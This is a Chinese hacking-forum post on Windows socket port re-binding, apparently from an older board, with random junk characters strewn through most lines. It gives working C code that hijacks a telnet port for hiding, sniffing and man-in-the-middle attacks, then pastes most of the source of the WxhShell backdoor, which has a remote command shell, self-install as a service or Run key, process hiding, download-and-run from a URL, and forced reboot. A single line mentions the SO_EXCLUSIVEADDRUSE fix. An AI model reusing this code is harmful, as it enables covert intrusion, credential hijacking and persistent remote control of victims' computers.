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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: z[%v _S  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); xD# I&.  
o'7ju~0L  
  saddr.sin_family = AF_INET; #L.}CzAz  
_CJr6Evs  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); %GbPrlu  
5vi#ItN}|  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ;lH,bX~5  
,R}KcZG)  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 "IG$VjgcB  
mzxvfXSF  
  这意味着什么?意味着可以进行如下的攻击: iT5SuIv  
3cO[t\/up  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 +g6j =%  
)ek 5  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) aRKRy  
KOEi_9i}  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 DD 5EHJR  
Gu`Vk/&  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ** r?    
,,_K/='m  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 |D`b7h  
Y"kS!!C>[  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 u7zB9iQ&  
SE )j}go  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 G=!bM(]R~  
;9p5YxD  
  #include |ak C  
  #include qj"syO  
  #include [l%fL9  
  #include    @\`G & VB  
  DWORD WINAPI ClientThread(LPVOID lpParam);   q4GW=@eD  
  int main() DgT.Lku?  
  { $;i$k2n:  
  WORD wVersionRequested; ]a!; `m$  
  DWORD ret; T:%wX9W  
  WSADATA wsaData; PnIvk]"Ab  
  BOOL val; FP9<E93br  
  SOCKADDR_IN saddr; g~hk-nXL.  
  SOCKADDR_IN scaddr; 8+|V!q   
  int err; p5;,/ |Ft  
  SOCKET s; w+9C/U;|s  
  SOCKET sc; i? _D]BY4  
  int caddsize; x]><}! \<&  
  HANDLE mt; s.`%ZDl@Y  
  DWORD tid;   0rJ\e  
  wVersionRequested = MAKEWORD( 2, 2 ); Ya&\ly /i  
  err = WSAStartup( wVersionRequested, &wsaData ); <6b\i5j  
  if ( err != 0 ) { Qv0>Pf  
  printf("error!WSAStartup failed!\n"); @52=3  
  return -1; /N[o[q  
  } RQS:h]?:l  
  saddr.sin_family = AF_INET; m)|.:sj  
   CDwIq>0j  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 aQ&8fteFR  
PP[)h,ZL*  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); q8 xc70: R  
  saddr.sin_port = htons(23); 7! b)'W?  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) $F@L$& ~  
  { aU.0dsq  
  printf("error!socket failed!\n"); JNM@Q  
  return -1; 76_8e{zbr  
  } fFZ` rPb  
  val = TRUE; ,gL)~6!A  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 -=[o{r`  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 6 ,pZRc  
  { oF b mz*  
  printf("error!setsockopt failed!\n"); b!5tFX;J  
  return -1; t:"=]zUU  
  } {`Fx~w;i  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 18p3  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 U??f<  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 4`!  
]i,Mq  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) OU.9 #|qU  
  { 1|~#028  
  ret=GetLastError(); Q0q)n=i }]  
  printf("error!bind failed!\n"); )' x/q  
  return -1; t`8e#n 9  
  } \|pK Z6*s  
  listen(s,2); n L+YL  
  while(1) W:{PBb"x8  
  { 1_j<%1{sZ  
  caddsize = sizeof(scaddr); AYPf)K;%  
  //接受连接请求 BV }(djx  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); x)#<.DX  
  if(sc!=INVALID_SOCKET) <7FP"YU  
  { J!A/r<  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 34m']n  
  if(mt==NULL) Q9eYF-+  
  { m['v3m:  
  printf("Thread Creat Failed!\n"); 01-\:[{  
  break; jWv3O&+?X  
  } {GX &)c4  
  } ndKvJH4  
  CloseHandle(mt); M89-*1  
  } ?`T6CRZhr  
  closesocket(s); )Vg{Y [!  
  WSACleanup(); @wB'3q}(  
  return 0; d)hzi  
  }   ^aD/ .  
  DWORD WINAPI ClientThread(LPVOID lpParam) N}}PlGp$  
  { =hugnX<9  
  SOCKET ss = (SOCKET)lpParam; [!:-m61  
  SOCKET sc; ~aqT~TL_  
  unsigned char buf[4096]; liCCc;&B;  
  SOCKADDR_IN saddr; RQ*|+ ~H  
  long num; !4 4mT'Y  
  DWORD val; 7SA-OFM  
  DWORD ret; TRySl5jx@  
  //如果是隐藏端口应用的话,可以在此处加一些判断 :_fjml/  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   _ r^90  
  saddr.sin_family = AF_INET; FU]8.)`G  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); J/]o WC`u  
  saddr.sin_port = htons(23); CSG+bqUG  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) G%j/eTTf  
  { \~z?PA.$  
  printf("error!socket failed!\n"); \'It,PN  
  return -1; =2;mxJ#o  
  } *@ <8&M9x  
  val = 100; MfNpQ:]c\  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Jv 6nlK`  
  { 4+/fP  
  ret = GetLastError(); x^M5D+o  
  return -1; 0gv3v@QO  
  } P^K?E  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) \'s$ZN$k  
  { xJ=ZQ)&]  
  ret = GetLastError(); QLF,/"  
  return -1; ;l/}Or2  
  } +K$5tT6b  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) XQ0#0<  
  { { .aK{ V  
  printf("error!socket connect failed!\n"); W2F +^  
  closesocket(sc); Nh1e1m?  
  closesocket(ss); ?dJ/)3I%F  
  return -1; zt)p`kdD  
  } L)kb (TH  
  while(1) teq^xTUF[  
  { #51 4a(6  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ]ZR{D7.?  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 P<cMP)+K  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ,<0Rf  
  num = recv(ss,buf,4096,0); RI[7M (  
  if(num>0) V_+}^  
  send(sc,buf,num,0); F.~n  
  else if(num==0) )){PBT}t]  
  break; zqHpT^B?  
  num = recv(sc,buf,4096,0); pIID= 8RJ.  
  if(num>0) Wz6]*P`qv  
  send(ss,buf,num,0); ~8H&m,{j  
  else if(num==0) m0x J05Zx  
  break; 3:]{(@J  
  } PZ  
  closesocket(ss); )XmCy"xx  
  closesocket(sc); pgz:F#>  
  return 0 ; klK-,J  
  } ot|N;=ZKo  
p|&ZJ@3  
vHs>ba$"  
========================================================== 0%;N9\  
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下边附上一个代码,,WXhSHELL a' IX yj  
m%e^&N#%6r  
========================================================== KXoL,)Hl  
blRY7  
#include "stdafx.h" ULp)T`P  
9]]!8_0=r  
#include <stdio.h> 7af?E)}v  
#include <string.h> V]l&{hl,  
#include <windows.h> t7jh ?]  
#include <winsock2.h> @!z$Sp=  
#include <winsvc.h> 8BYIxHHz  
#include <urlmon.h> .DgoOo%?"  
e={k.y }x}  
#pragma comment (lib, "Ws2_32.lib") 7.wR"1p#  
#pragma comment (lib, "urlmon.lib") wFK:Dp_^  
MuDFdbtR  
#define MAX_USER   100 // 最大客户端连接数 nwa\Lrh  
#define BUF_SOCK   200 // sock buffer ;yk9(wea}"  
#define KEY_BUFF   255 // 输入 buffer @wd!&%yzO  
V+qFT3?-  
#define REBOOT     0   // 重启 y;,=a jrF  
#define SHUTDOWN   1   // 关机 Ez zTJ>  
2x-'>i_|g  
#define DEF_PORT   5000 // 监听端口 8yHq7=  
qiG]nCq  
#define REG_LEN     16   // 注册表键长度 %/{IssCR7  
#define SVC_LEN     80   // NT服务名长度 a(PjcQ4dY  
eP V-yy  
// 从dll定义API G*kE~s9R  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); bWGyLo,  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 6@"Vqm|HD  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); @IEI%vH  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); >|l;*Kw,/P  
IV)^;i  
// wxhshell配置信息 ry$tK"v/  
struct WSCFG { fC=fJZU7$  
  int ws_port;         // 监听端口 <T(s\N5B=  
  char ws_passstr[REG_LEN]; // 口令 =}~NRmmF  
  int ws_autoins;       // 安装标记, 1=yes 0=no I["F+kt^^  
  char ws_regname[REG_LEN]; // 注册表键名 [:AB$l*  
  char ws_svcname[REG_LEN]; // 服务名 5Z* b(R  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 |$YyjYK  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 BhqhyX\D&y  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \w{@u)h  
int ws_downexe;       // 下载执行标记, 1=yes 0=no xL9:4'I  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" AyE%0KmraK  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 pp/#Am  
Na\3.:]z  
}; >nc4v6s  
^dFh g_GhF  
// default Wxhshell configuration oHxGbvQc  
struct WSCFG wscfg={DEF_PORT, C}n'>],p  
    "xuhuanlingzhe", ~Y\QGuT  
    1, kxwNbxC  
    "Wxhshell", eeZIa`.sX  
    "Wxhshell", 3CA|5A.Pa  
            "WxhShell Service", p@#]mVJ>9  
    "Wrsky Windows CmdShell Service", !nec 7  
    "Please Input Your Password: ", gE\A9L~b  
  1, IM@"AD52a  
  "http://www.wrsky.com/wxhshell.exe", 7sj<|g<h(_  
  "Wxhshell.exe" U5|B9%:&  
    }; G1kDM.L  
l<u{6o  
// 消息定义模块 x}v1X`6b  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; &J\B\`  
char *msg_ws_prompt="\n\r? for help\n\r#>"; \eEds:Hg  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; WLE%d]'%M  
char *msg_ws_ext="\n\rExit."; 5i^`vmK  
char *msg_ws_end="\n\rQuit."; \M+MDT&  
char *msg_ws_boot="\n\rReboot...";  `>%-  
char *msg_ws_poff="\n\rShutdown..."; 7;^((.]ln  
char *msg_ws_down="\n\rSave to "; {?w"hjy  
`Ac:f5a  
char *msg_ws_err="\n\rErr!"; +T-@5 v[  
char *msg_ws_ok="\n\rOK!"; YKc>6)j  
)V=0IZi  
char ExeFile[MAX_PATH]; V{43HA10b  
int nUser = 0; xC<R:"Mn  
HANDLE handles[MAX_USER]; Po1hq2-U8  
int OsIsNt; wHA/b.jH  
<#zwKTmK1  
SERVICE_STATUS       serviceStatus; XFtOmY  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; zT$0xj8  
_~juv&  
// 函数声明 Sbp  
int Install(void); yb69Q#V2  
int Uninstall(void); k69kv9v@J  
int DownloadFile(char *sURL, SOCKET wsh); ~D*b3K 8X  
int Boot(int flag); /j11,O?72  
void HideProc(void); I"B8_  
int GetOsVer(void); f(!E!\&n^  
int Wxhshell(SOCKET wsl); ,g%o  
void TalkWithClient(void *cs); w- r_H!-  
int CmdShell(SOCKET sock); Ft3I>=f{  
int StartFromService(void); y7>iz6N  
int StartWxhshell(LPSTR lpCmdLine); 8B j4 _!g  
HC?0Lj  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); xsYE=^uv  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); /CH(!\bQ  
h iAxh Y  
// 数据结构和表定义 %Nl`~Kz9U  
SERVICE_TABLE_ENTRY DispatchTable[] = AU/#b(mI  
{ itw{;j   
{wscfg.ws_svcname, NTServiceMain}, )^&,Dj   
{NULL, NULL} Jff 79)f  
}; Bw6L;Vu  
;xhOj<:  
// 自我安装 `ovgWv  
int Install(void) \N?7WQ  
{ FtN}]@F  
  char svExeFile[MAX_PATH]; }X.>4\B5  
  HKEY key; 3!>/smb !  
  strcpy(svExeFile,ExeFile); z* RSMfRW  
>jv\Qh  
// 如果是win9x系统,修改注册表设为自启动 $.wA?`1aSk  
if(!OsIsNt) { z /weit  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _$8{;1$T?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8qN"3 Et  
  RegCloseKey(key); V>B'+b+<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { m*`cuSU|o  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4\\.n  
  RegCloseKey(key); W,DZ ;). %  
  return 0; -]/7hN*v  
    } A])OPqP{  
  } lu]o34  
} 7(NXCAO81  
else { A?DB#-z.r  
xkM] J)C  
// 如果是NT以上系统,安装为系统服务 T(JuL<PB  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $6# lTYN~  
if (schSCManager!=0) c8<xFvYG  
{ *!Y- !  
  SC_HANDLE schService = CreateService b_|u<  
  ( +>4^mE" \  
  schSCManager, []"=]f{1};  
  wscfg.ws_svcname, !9DX=?  
  wscfg.ws_svcdisp, jQ?LHUE  
  SERVICE_ALL_ACCESS, p'g^Wh  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , %&tb9_T)d  
  SERVICE_AUTO_START, .1LPlZ  
  SERVICE_ERROR_NORMAL, gJh}CrU-  
  svExeFile, 2 Kl a8  
  NULL, Sl"BK0:%7  
  NULL, K^aj@2K{  
  NULL, nS.2C>A  
  NULL, qi&D+~Gv!  
  NULL Ib6(Bp9.L  
  ); 1M+oTIN  
  if (schService!=0) N 'i,>  
  { -6`;},Yr  
  CloseServiceHandle(schService); a8zZgIV  
  CloseServiceHandle(schSCManager); mB`D}g$  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); lufeieW  
  strcat(svExeFile,wscfg.ws_svcname); L<=)@7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { (UGol[f<  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 'B`#:tX^N  
  RegCloseKey(key); =*O=E@]  
  return 0; f TO+ZTRqf  
    } Tm_8<$ 7  
  } dMV=jJ%Y  
  CloseServiceHandle(schSCManager); bK4&=#Zh  
} x,\!DLq:p  
} q$T8bh,2  
4sIX O  
return 1; NI.`mc6X d  
} {fU?idY)c  
*T1~)z}j<  
// 自我卸载 y(}Eko4u5  
int Uninstall(void) \2 >?6zs  
{ _=EZ `!%  
  HKEY key; h>klTPM>  
I+",b4  
if(!OsIsNt) { Ak A!:!l  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "r..  
  RegDeleteValue(key,wscfg.ws_regname); OJpj}R  
  RegCloseKey(key); 'E-FO_N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |` "?  
  RegDeleteValue(key,wscfg.ws_regname); 2m"_z  
  RegCloseKey(key); \ha-"Aqze3  
  return 0; +/y]h 0aa  
  } A=X-;N#  
} )xt4Wk/  
} $;`I,k$0>~  
else { =X@o@1  
=|,A%ZGF$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); =cn~BnowY  
if (schSCManager!=0) ?Ht=[l=  
{ 0x~`5h  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); e:E# b~{  
  if (schService!=0) ah+j!e  
  { smup,RNZRX  
  if(DeleteService(schService)!=0) { 6 D/tK|  
  CloseServiceHandle(schService); x8\<qh*:  
  CloseServiceHandle(schSCManager); ,E}$[mHyjz  
  return 0; [l*;E f,  
  } mU@xc N  
  CloseServiceHandle(schService); <lj\#'G3  
  } R ]P;sk5  
  CloseServiceHandle(schSCManager); >1ZJ{se  
} 6P*O&1hv  
} sS9%3i/>  
8r^ ~0nm  
return 1; WYszk ,E  
} Q7GY3X*kA  
N4wA#\-  
// 从指定url下载文件 =~jA oOC@  
int DownloadFile(char *sURL, SOCKET wsh) <2<87PU  
{ pbLGe'  
  HRESULT hr; d~Mg vh'  
char seps[]= "/"; i_ QcC  
char *token; 78]gt J  
char *file; JJnYOau  
char myURL[MAX_PATH]; B4Lx{u no  
char myFILE[MAX_PATH]; ,S!w'0k|n  
CW`!}yu%  
strcpy(myURL,sURL); f Iy]/  
  token=strtok(myURL,seps); >emcJVYV`[  
  while(token!=NULL) *||d\peQ  
  { g_z/{1$  
    file=token; t&}6;z 3  
  token=strtok(NULL,seps); A,#2^dR  
  } SaO3 zz@L  
{rXs:N@  
GetCurrentDirectory(MAX_PATH,myFILE); 61@EDIYPc  
strcat(myFILE, "\\"); yZ3nRiuRT  
strcat(myFILE, file); RH[+1z8  
  send(wsh,myFILE,strlen(myFILE),0); !#}7{  
send(wsh,"...",3,0); FS@A8Bb  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); H l<$a"K7\  
  if(hr==S_OK) X3B{8qx_>  
return 0; j*3}1L4P  
else sbS~N*{E  
return 1; ROdK8*jL  
_^\$" nw  
} ][7p+IsB  
F]_cbM{8/  
// 系统电源模块 v(O=IUa  
int Boot(int flag) `hrQw)5?r  
{ XvKFPr0~  
  HANDLE hToken; GwLFL.Ke  
  TOKEN_PRIVILEGES tkp; o#D.9K(  
JhX=l-?  
  if(OsIsNt) { yI)~]K r  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); VKW|kU7Cs$  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); }}T,W.#%u  
    tkp.PrivilegeCount = 1; Jpj!rXTX*  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; W?z#pV+jt  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); H%}IuHhN)  
if(flag==REBOOT) { Y*LaBxt Q  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 0LL c 1t>}  
  return 0; Zyye%Ly  
} 9[Qd)%MO  
else { ~?U*6P)o  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 0X9Y~TM%  
  return 0; SEd5)0X^  
} J|~26lG  
  } L*JPe"N -e  
  else { ~cqryr9  
if(flag==REBOOT) { P Sx304  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) g/Wh,f3  
  return 0; i::\Z$L";i  
} n&Yk<  
else { ]Pc^#=(R0  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) io%')0p5q  
  return 0; IL!=mZ>2O  
} h(' )"  
} t"AzI8O  
lE5v-z? &|  
return 1; ycr"Y|  
} Wa'sZ#  
Q-eCHr)  
// win9x进程隐藏模块 g,kzQ}_  
void HideProc(void) cAuY4RV  
{ K@:m/Z}|4  
HY}j!X  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); +R.N%_  
  if ( hKernel != NULL ) MI#mAg<  
  { 5VE2@Fn}  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); rg QEUDEQ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); m~`>`4  
    FreeLibrary(hKernel); - u3e5gW  
  } |$+5@+Zz  
|qN'P}L  
return; >-)h|w i  
} %[QV,fD'E  
}e]f  
// 获取操作系统版本 39TT{>?`w  
int GetOsVer(void) O'DW5hBL0  
{ lU2c_4  
  OSVERSIONINFO winfo; 7;}l\VXHm  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); o>lms t%<  
  GetVersionEx(&winfo); yTBS=+X  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 2eP ;[o  
  return 1; l{WjDed  
  else Oejq@iM"(  
  return 0; xN"Z1n7t  
} r':TMhzHq?  
:@3Wg3N  
// 客户端句柄模块 b1`r!B,  
int Wxhshell(SOCKET wsl) b.yh8|&  
{ 0GXO&rCG  
  SOCKET wsh; q6q1\YB  
  struct sockaddr_in client; Y)I8eU{Wl(  
  DWORD myID; KeBQH8A1N  
!|G(Yg7C  
  while(nUser<MAX_USER) USPTpjt8R  
{ ANMg  
  int nSize=sizeof(client); ~H /2R  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); +M\8>/0oA  
  if(wsh==INVALID_SOCKET) return 1; |M~ON=  
%y`7);.q  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); yy2I2Bv  
if(handles[nUser]==0) LM l~yqM  
  closesocket(wsh); =y]$0nh  
else &%C4Ugo  
  nUser++; (9RslvK L  
  } ?Dsm~bkX[  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); n(;:*<Rh  
#Gf+=G  
  return 0; =(, ^du'  
} u<tk G B  
; y.E!  
// 关闭 socket \gO,hST   
void CloseIt(SOCKET wsh) Iw=Sq8  
{ }nx=e#[g%2  
closesocket(wsh); T1Ta?b  
nUser--; *~VxC{  
ExitThread(0); 40P) 4w  
} 4FMF|U  
6`H.%zM  
// 客户端请求句柄 ]$iN#d|ZU  
void TalkWithClient(void *cs) d^D i*&X  
{ 6XV<? 9q  
n&XGBwgW  
  SOCKET wsh=(SOCKET)cs; Qvoqx>2p5  
  char pwd[SVC_LEN]; 0 t.p1  
  char cmd[KEY_BUFF]; -8Ti*:  
char chr[1]; NucM+r1P  
int i,j; \E4B&!m  
~Gv#iRi>  
  while (nUser < MAX_USER) { 15H6:_+=0  
:14i?4F d  
if(wscfg.ws_passstr) { `S/wJ'c  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +5p{5 q(o  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /.Jb0h[W1  
  //ZeroMemory(pwd,KEY_BUFF); *,WP,-0  
      i=0; dE=Ue#1U@5  
  while(i<SVC_LEN) { )ZR+lX }  
I4_d[O9  
  // 设置超时 lX!`zy{3k  
  fd_set FdRead; 6j9)/H P  
  struct timeval TimeOut; c+' =hR[  
  FD_ZERO(&FdRead); &*,:1=p  
  FD_SET(wsh,&FdRead); H=MCjh&$q  
  TimeOut.tv_sec=8; H#d:kilNy  
  TimeOut.tv_usec=0; i8pU|VpA  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); }=}>9DS M  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); b\55,La  
Jobiq]|>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); L\aBc}  
  pwd=chr[0]; v:_B kHN'  
  if(chr[0]==0xd || chr[0]==0xa) { MBr:?PE7  
  pwd=0; pd@;b5T  
  break; (jWss  V1  
  } <9A@`_';Aq  
  i++; Ka_S n  
    } ] Uc`J8p,  
S01wwZ  
  // 如果是非法用户,关闭 socket \+PIe7f_  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); BN_7Ay/k  
} 5i So8*9}  
%"$@%"8;3  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); WOytxE  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -p,x&h,p  
b'@we0V@S  
while(1) { v"DL'@$Ut{  
IO$z%r7  
  ZeroMemory(cmd,KEY_BUFF);  b`mj_b  
}ynT2a#LU'  
      // 自动支持客户端 telnet标准   E8}+k o  
  j=0; !b|'Vp^U  
  while(j<KEY_BUFF) { .w? .ib(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); s4= "kT]  
  cmd[j]=chr[0]; 2ef;NC.&n  
  if(chr[0]==0xa || chr[0]==0xd) { [bQj,PZ&  
  cmd[j]=0; b3qc_  
  break; PH4%R]{8{  
  } Wa"(m*hW  
  j++; irBDGT~  
    } g^>#^rLU  
q }C+tn"\  
  // 下载文件 GR4?BuY,  
  if(strstr(cmd,"http://")) { H^%.=kf  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ]rBM5~  
  if(DownloadFile(cmd,wsh)) Z0,~V  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); d.<~&.-$  
  else k)(Biz398E  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); UH`hOJ?  
  } ?:rx1}:F  
  else { h rN%  
o@E/r.uK  
    switch(cmd[0]) { -7-['fX  
  ) |#%Czd4  
  // 帮助 L):U"M>]=  
  case '?': { Lm)\Z P+W  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 7YIK9edP  
    break; D@YP7  
  } p#8W#t$  
  // 安装 &%aXR A#+  
  case 'i': { vlWw3>4  
    if(Install()) fp>.Owt%.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V1=*z  
    else =H]F`[B=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Bo_ym36N  
    break; j0-McLc  
    } {OMg d3%14  
  // 卸载 D #2yIec  
  case 'r': { zri} h/{  
    if(Uninstall()) /M0/-pV 9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N> Jw  
    else zzpZ19"`1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); obClBO)@Y  
    break; EmVuwphv  
    } 5t:8.%<UK  
  // 显示 wxhshell 所在路径 0au)g!ti  
  case 'p': { '{?C{MK3Q  
    char svExeFile[MAX_PATH]; y7u^zH6wj  
    strcpy(svExeFile,"\n\r"); > R^@Ww;|q  
      strcat(svExeFile,ExeFile); ilLBCS}  
        send(wsh,svExeFile,strlen(svExeFile),0); _uxPx21g}  
    break; mPZGA\  
    } m 40m<@  
  // 重启 6)RbPPeE  
  case 'b': { >O9 sk  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); EYS>0Y  
    if(Boot(REBOOT)) ]L_w$ev'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Do-^S:.  
    else { {i{xo2<1"  
    closesocket(wsh); #~ v4caNx  
    ExitThread(0); VAQ)Hc]  
    } [ .yJV`  
    break; =5]n\"/  
    } *U7 %|wd  
  // 关机 3-Bl  
  case 'd': { T8J4C=?/  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); haSM=;uPM  
    if(Boot(SHUTDOWN)) Gy29MUF  
